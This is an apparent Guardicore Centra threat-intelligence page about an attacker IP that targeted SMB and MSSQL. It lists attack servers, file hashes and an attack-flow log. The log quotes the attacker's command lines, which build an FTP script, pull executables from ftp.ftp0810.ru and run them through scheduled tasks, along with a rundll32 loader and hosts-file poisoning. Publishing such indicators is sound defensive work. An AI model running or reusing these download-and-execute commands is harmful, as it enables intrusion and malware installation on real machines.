IP Address: 82.129.186.65Malicious

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IP Address:
82.129.186.65​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB MSSQL

Tags

Download File DNS Poisoning HTTP Cookie Hijacking SMB Null Session Login Download and Execute Service Configuration CMD Service Start SMB System File Modification Outgoing Connection Scheduled Task Creation Persistency - Image Hijack Service Creation Access Suspicious Domain File Operation By CMD

Associated Attack Servers

worldsender.info js.1226bye.xyz shell.loader0807.site hosteons.com grantmindline.com bumblebeeservers.com neachers.com pc.pc0416.xyz load.wpd0126.info pool.minexmr.com

217.195.153.116 104.233.207.172 223.25.247.240 103.124.105.246 137.175.56.104 139.5.177.32 192.187.111.66 74.222.14.94 103.106.250.161 104.37.187.182 185.47.128.124 173.247.239.186 139.5.177.10 77.73.69.34 172.83.155.170

Basic Information

IP Address

82.129.186.65

Domain

-

ISP

Vodafone Egypt

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-07

Last seen in Guardicore Centra

2021-03-19

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032 and 217.195.153.116:80

Outgoing Connection

c:\windows\system32\services.exe installed and started cmd as a service named sjvh under service group None

Service Creation Service Start

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Outgoing Connection Access Suspicious Domain

C:\WINDOWS\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\u.exe was downloaded

Download File

System file C:\windows\Temp\conhoy.exe was modified 4 times

System File Modification

C:\windows\Temp\ntuser.dat was downloaded

Download File

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

C:\WINDOWS\Debug\item.dat was downloaded

Download File

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

System file c:\windows\inf\aspnet\lsma12.exe was modified 4 times

System File Modification

The file C:\windows\Temp\conhoy.exe was downloaded and executed 5 times

Download and Execute

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

Connection was closed due to user inactivity

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

Associated Files

C:\Windows\System32\ok.exe

SHA256: a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d

2241024 bytes

C:\Windows\Temp\conhost.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221184 bytes

C:\Windows\debug\item.dat

SHA256: 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4

3358208 bytes

C:\Windows\Inf\msief.exe

SHA256: 3e79be51a78170ac177641b8225b22d37548617800ea0362733eeadc77445b98

305287 bytes

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IP Address: 82.129.186.65​Malicious